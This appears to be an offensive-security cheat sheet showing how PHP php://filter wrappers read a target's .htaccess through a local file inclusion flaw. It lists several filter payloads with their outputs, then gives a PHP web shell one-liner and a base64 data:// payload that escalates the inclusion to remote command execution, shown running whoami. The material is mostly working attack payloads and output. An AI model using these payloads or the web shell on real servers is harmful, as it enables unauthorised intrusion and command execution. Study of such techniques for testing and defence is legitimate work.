Target File .htaccess Output with PHP String Filters
No Filter Applied Output:
Testing PHP FilterPayload: php://filter/convert.base64-encode/resource=.htaccess Output:
VGVzdGluZyBQSFAgRmlsdGVyPayload: php://filter/string.rot13/resource=.htaccess Output:
Grfgvat CUC SvygrePayload: php://filter/string.toupper/resource=.htaccess Output:
TESTING PHP FILTERPayload: php://filter/string.tolower/resource=.htaccess Output:
testing php filterPayload: php://filter/string.strip_tags/resource=.htaccess Output:
Testing PHP FilterThis filter remove any HTML or PHP tags from the file contents.
PHP Payload:
<?php system($_GET['cmd']); echo 'Shell done!'; ?>
Payload for LIF to RCE:
php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+&cmd=whoami
Output: www-data
